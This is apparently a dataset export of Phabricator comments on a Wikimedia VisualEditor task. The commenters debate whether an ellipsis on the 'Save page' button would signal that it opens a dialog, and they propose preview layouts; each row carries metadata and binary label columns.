+Thus there is a problem. Adding … does not solve all the problems. But it alleviates point 2: It indicates that clicking ""publish changes"" does //not// do immediately what they want to avoid. ",,,1504615255,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+924293,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3578131, @Jan_Dittrich wrote:
+> Who is the one to decide about this?
+
+Me. I'm watching this task. :-)
+
+This is far from the most pressing item on the agenda, but I do agree with the statement of the problem. I like the ellipsis idea; it's not perfect, but it's easy to implement, is at least step in the right direction, and can easily be iterated on. I think more discussion about other solutions would be good.",,,1504606283,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,218,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,1,1,1,1
+924257,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3578131, @Jan_Dittrich wrote: 
+> @Pginer-WMF – what do you think? And: Who is the one to decide about this?
+
+I'm not convinced this would improve much. I'm ok with experimenting, but given the importance of the publishing workflow I'd like to have a clear hypothesis of what we expect and how to observe the impact of the change. More details below:
+
+**On the need to communicate additional steps**
+
+Ellipses may help to emphasise that the publishing process have multiple steps. The key question is whether we need to anticipate such information. There are many processes that require some kind of confirmation/follow-up step that users see as a logical progress to completion, and do not cause any kind of confusion or surprise despite those extra steps not being anticipated. For example, I don't think that adding ellipses to all actions that open any kind of panel such as ""add link"" or ""insert image"" would improve things much.
+
+I'd like to understand better the specific issues that the uncertainty about ""whether the save button saves immediately"" generates. What do we expect users to do differently if they know there are more step behind the button?
+
+The ellipses make also the call to action less strong. In addition, ellipses in buttons have been also used to communicate an action being performed (e.g., a ""Save"" button turning into ""Saving..."" after being pressed), so there is a risk of confusion for users thinking some publishing action may be going on that we may want to check.
+
+**Connection with ""preview"" issue**
+If the proposal is intended to improve the issue with preview (T155732), which some comments in this ticket still refer to, I don't think it will help much.
+
+My understanding of the preview issue is that some users don't see ""preview"" necessarily as an intermediary step in their way to publishing. That is, some users understand preview as away to check that their recent editing actions produce the expected result before continue their editing session. Since they are not completing their editing session, it is not obvious that preview will be behind the ""publish"" path. We are supporting well the scenario of ""preview in your way to publish"" but we may not be doing so well with the ""preview as you edit"". 
+
+Ellipsis help to emphasise that the publishing process has multiple steps. However, is surfacing that the publishing process has multiple steps going to solve the above issue? I don't think so. Since users in that context are not interested yet to go into the publishing path, they are unlikely to explore that way to check if they find functionality that they don't consider connected to it, being it ""preview"" or ""print"".
+",,,1504603185,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1
+924059,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","You may consider my feedback withdrawn. I didn't make the connection with the operating system conventions. I have indeed used many applications that use ellipsis in context menus or top menus for items to indicate they won't be performed immediately but will require an additional interaction first (e.g. new dialog, or next panel if already in a dialog).
+
+Before I realised this connection, my main concern was that adding ellipsis would not solve the original problem, which is that users may be uncomfortable clicking this button because they may want to do a comparison first or enter an edit summary, and the current appearance of the button suggests it will be immediate. Adding ellipsis does make sense for this and might a good first step toward solving this problem.",,,1504553449,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,218,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+924000,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","It seems that 
+* An ellipsis is standard in many UI guidelines, including Mac and Windows (as @Tgr wrote). It is an UI standard at least since the 90s and basically the icon for ""a window will open"".
+* The only feedback I remember that was contra ellipsis itself came from @Krinkle (""It doesn't clarify or improve the user experience, it only makes it more mysterious.""). 
+* The  character could be either included via CSS or in the translation messages.  
+* The ""does the save button save immediately?!"" is an actual problem (at least according to German Kurier and feedback on enwiki according to @TTO )
+
+With ellipsis, it would look like 
+
+{F7336409}
+
+@Pginer-WMF – what do you think? And: Who is the one to decide about this?",,,1504543438,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0
+913462,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Yep, I’ve put the word ‘Done’ in my mockups.",,,1502922724,,PHID-USER-2fha2mym5lty6djs2qfl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,215,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+913451,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","What about ""Complete..."", ""Final review"" or similar term to indicate the button will lead to the publication, but not being a ""Publish"" button?",,,1502921848,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,215,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0
+870850,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Related to this, there is an [[ https://de.wikipedia.org/w/index.php?title=Wikipedia:Kurier&oldid=166132048 | article on the German signpost equivalent ""Kurier"" ]], in which as user talk about having trouble finding the save button and difficulties on clicking on ""save"", assuming it might save directly. 
+
+> »Zunächst einmal sucht man vergeblich einen Knopf für die Vorschau.  Wie heißt es doch: „Sei mutig!“ Wir drücken also einfach ohne Vorschau auf „Änderungen speichern“ «
+
+> Roughly translated: »We search unsuccessfully of the ""preview"" Button … They say ""Be brave"" and we press without preview on ""Save Changes""«",,,1496766716,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,205,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+864395,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","@Frigory, @Jan_Dittrich: There is a task for this, where all this stuff should probably go, please see T155732",,,1495620185,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,203,,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0
+864367,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Hi @Frigory, Hi @Dvorapa,
+
+I like these ideas! I suppose they should have their own ticket. The current ticket was just meant to make the button actions clearer. Your suggestion extends the scope a lot. 
+Can you copy it in a separate tasks and mention this one (T44138)? Thus they would be kept connected and allows each one to focus on the button, two column view or both. 
+If you need help doing it, please write me or tell here. ",,,1495617839,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,203,,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,0,1,1,1,1,0,0
+861724,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","So I could imagine something like this.
+
+- Possibility to have frames in the same dropdown, and an additional option for separate scrollbars: {F8119433}
+- A dropdown in the top right-hand corner of each frame to choose its content: {F8119439}
+- The splitted view: {F8119442} (the bar at the middle can be moved)
+- In the content selection, a ‘Switch panels’ option (I don’t know if the correct word should be ‘frame’ or ‘panel’), and the content of the other panel is grayed; also, a ‘Refresh’ button for the preview: {F8119451}
+
+Of course there should be other icons (‘Refresh’ should be an icon).
+
+This way the toolbar is even shorter than before, because ‘Done’ is shorter than ‘Publish changes’ — :).",,,1495137268,,PHID-USER-2fha2mym5lty6djs2qfl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,1,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1
+860648,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","No, if I add just a button with ""Preview"" and dropdown arrow, the symbol button is moved to the second line. The problem of a space in a toolbar or why text labels should be avoided was discussed in detail in T116417 or T153306 or above I guess.",,,1494958136,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+860647,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","No, if I add just a button with ""Preview"" and dropdown arrow, the symbol button is moved to the second line. The problem of why text labels should be avoided due was discussed in detail in T116417 or T153306 or above I guess.",,,1494958069,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+860640,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","- Separate scrollbars could be a preference.
+- Indeed separate toolbars and dialogs are probably a bad idea.
+- I don’t understand why the Preview dropdown wouldn’t be convenient? You don’t have enough space for it?",,,1494957310,,PHID-USER-2fha2mym5lty6djs2qfl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+860632,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","@Frigory I'm not a dev, but I like your proposals (I've already suggested some of them in a different task). Just be aware of those people with more narrow screens (like me - 1280x768), where those features like separate scrollbars, separate toolbars/dialogs and text ""Preview"" as a dropdown label are not very convenient.",,,1494956623,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0
+860212,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Hello,
+
+I’m 21, and I have a bit of experience and interest in web ergonomics. I’ve contributed to the design of a few websites (notably [[http://www.france-ioi.org/|this one]], which was really worse before). I’d like to share my opinion on this task as a Wikimedia contributor. I hope I’m not too late.
+
+I’m not sure all my ideas are appropriate here but let’s spread. I’ve realized screenshots on a random article with the DOM manually modified.
+
+For the preview, I’m dreaming about something like this:
+{F8094031}
+
+I.e. two (possibly resizable) frames, one containing the code and the other one for preview or reviewing changes.
+On my desktop computer, I have two monitors with a resolution of 1920×1080. With this configuration, I could extend my browser window on the two monitors, and have the code on the first one, the preview on the second one.
+
+The initial setup would be:
+{F8094055}
+
+Then you would click on ‘Preview’ in the dropdown:
+{F8094059}
+
+It would make the preview appear on the right, half width, just like in the first screenshot but a bit larger, till the bottom:
+{F8094074}
+
+You could have full preview by sliding:
+{F8094102}
+
+You could reload the preview by clicking on the button ‘Preview’. To get the dropdown, you should click on the arrow. If you select ‘Review changes’, then the button’s label would change to ‘Review changes’.
+
+Then for writing the summary, the popup annoys me because it takes more than 1 second to appear. I contribute mainly for minor edits (orthotypo, article structure, etc.) and I sometimes do a bunch of them so I’d like efficient tools.
+I would imagine something similar to the Find & Replace panel when you click on ‘Done’:
+{F8094203}
+(I would also prefer it for template editing because the current dialog lags…)
+
+Other ideas:
+
+- Two different scrollbars: {F8094424}
+- With these separate scrollbars, a button to show the section containing the cursor in the preview, and another for the opposite (would be very useful when I’m reviewing long articles). This button could be on the vertical splitting bar.
+- For monitors having different sizes: vertically resizable frames (or two different windows?): {F8094520}
+- In the ‘Preview’/‘Review changes’ dropdown, a second subsection with 3 choices: Hidden/Splitted/Full to set the frames’ width automatically (or another button which would toggle between these 3 choices when clicked): {F8094595} I’m also suggesting new labels there. ‘Reviewing the changes’ is actually like viewing a preview of the changes.
+- Maybe having separate toolbars/dialogs in the two frames (e.g. Find & Replace with the wikitext, Publish with the preview)…
+
+Note that, currently, I’m often using two different windows for editing: the first with the wikitext editor and the second with the published article (to explore it and make the fixes at the same time; but it is quite a pity not to view the changes I’m realizing).
+
+I’m not sure I’m the ‘common’ editor but to me it would really be simpler to improve the quality of articles with such an interface, and newbies might appreciate it too.
+
+What do you think about all this? I can give more details if you feel there’s a gap somewhere.",,,1494907566,,PHID-USER-2fha2mym5lty6djs2qfl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,1,1,1,0,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1
+841692,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",@Liuxinyu970226 That should be possible with CSS or HTML/CSS without big issues if requested and agreed upon.,,,1492070083,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,197,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+841094,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3171667, @Tgr wrote:
+>>>! In T44138#3171527, @Elitre wrote:
+>> Do we know if there's an equivalent for the ellipsis for every language we support?
+> 
+> Looking at the translations for the [[https://translatewiki.net/w/i.php?title=Special:Translations&message=MediaWiki%3AEllipsis|ellipsis]] and some messages containing it ([[https://translatewiki.net/w/i.php?title=Special%3ATranslations&message=Watching&namespace=8|1]], [[https://translatewiki.net/w/i.php?title=Special%3ATranslations&message=Moredotdotdot&namespace=8|2]]) it would seem so.
+
+Would it be possible to migrate all ellipsis of MediaWiki core and extensions in all languages to use ""…"" (by default, i.e. if we don't provide translations), which can help extract a lot?",,,1492008872,,PHID-USER-chrmcih5qjpx5buo7vx6,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+841067,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",On desktop it's very widely used. See e.g. [[https://msdn.microsoft.com/en-us/library/windows/desktop/bb226792(v=vs.85).aspx|Microsoft]] and [[https://developer.apple.com/library/content/documentation/UserExperience/Conceptual/OSXHIGuidelines/TerminologyWording.html#//apple_ref/doc/uid/20000957-CH15-SW3|Apple]] button design guidelines.,,,1492006934,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+840401,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">I'm not sure the standard is used in this way. It is used in dropdown menus, but I don't think it is common in push buttons. I certainly don't recall seeing it in web ""call to action-style"" buttons, ever.
+
+Yes, it is not very widely used on buttons. Checking some applications (Libreoffice and Ubuntu System  Settings), I found that: 
+* Few of the buttons I checked open new windows/popups anyway (makes sense, I assume, a button usually triggers an action)
+* For the buttons which open a new window, several had ""…""  (In Setting: ""Network""/""use as hotspot…"" ; ""Language Support""/""install / remove Languages…""; ""Security and Privacy""/ ""Files & Applications""/ ""Clear Usage Data…"")
+
+So, not //widely// used, but used, if it opens new windows. 
+
+ I think it would be an improvement.",,,1491926565,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+840383,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","
+>>! In T44138#3162853, @Jan_Dittrich wrote:
+>> Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.
+> 
+> I think this would make sense – it is an established UI standard and can be found in many desktop applications. 
+> I would love to see an improved wording on the button itself, but util then, I’d go with …
+
+I'm not sure the standard is used in this way. It is used in dropdown menus, but I don't think it is common in push buttons. I certainly don't recall seeing it in web ""call to action-style"" buttons, ever.
+
+>>! In T44138#2087472, @Tgr wrote:
+> The whole save/preview/edit summary interface feels clunky and getting the way. I don't have a constructive suggestion, it's a rather straightforward way of handling saving in a WYSIWYG editor - but it does not feel right, and I hear others complaining about it as well.
+
+I think a large part of the weird feeling is having the button at the top of the screen. ""Submit"" buttons are typically at the bottom of the page, below the form they complete, to go with the reading flow (see this very interface as an example).",,,1491925559,,PHID-USER-uqnvjf4m5wpzmkaddswb,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1
+840376,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","
+>>! In T44138#3162853, @Jan_Dittrich wrote:
+>> Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.
+> 
+> I think this would make sense – it is an established UI standard and can be found in many desktop applications. 
+> I would love to see an improved wording on the button itself, but util then, I’d go with …
+
+I'm not sure the standard is used in this way. It is used in dropdown menus, but I don't think it is common in push buttons. I certainly don't recall seeing it in web ""call to action-style"" buttons, ever.",,,1491925344,,PHID-USER-uqnvjf4m5wpzmkaddswb,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1
+840334,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3171527, @Elitre wrote:
+> Do we know if there's an equivalent for the ellipsis for every language we support?
+
+Looking at the translations for the [[https://translatewiki.net/w/i.php?title=Special:Translations&message=MediaWiki%3AEllipsis|ellipsis]] and some messages containing it ([[https://translatewiki.net/w/i.php?title=Special%3ATranslations&message=Watching&namespace=8|1]], [[https://translatewiki.net/w/i.php?title=Special%3ATranslations&message=Moredotdotdot&namespace=8|2]]) it would seem so.
+",,,1491923160,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1
+840328,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","@Elitre: To better understand the concern – is this about the problem that users may see a rectangle because their fonts don't support ""…"" or about the users not understanding what ""…"" means in that context?",,,1491923012,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0
+840310,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",Do we know if there's an equivalent for the ellipsis for every language we support?,,,1491921951,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+838513,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","> Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.
+
+I think this would make sense – it is an established UI standard and can be found in many desktop applications. 
+I would love to see an improved wording on the button itself, but util then, I’d go with …
+
+Would look like: 
+{F7336409}",,,1491557467,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,196,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+838512,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","> Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.
+
+I think this would make sense – it is an established UI standard and can be found in many desktop applications. 
+
+Would look like: 
+{F7336409}",,,1491557372,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,196,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+838511,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",,,,1491557269,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,196,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
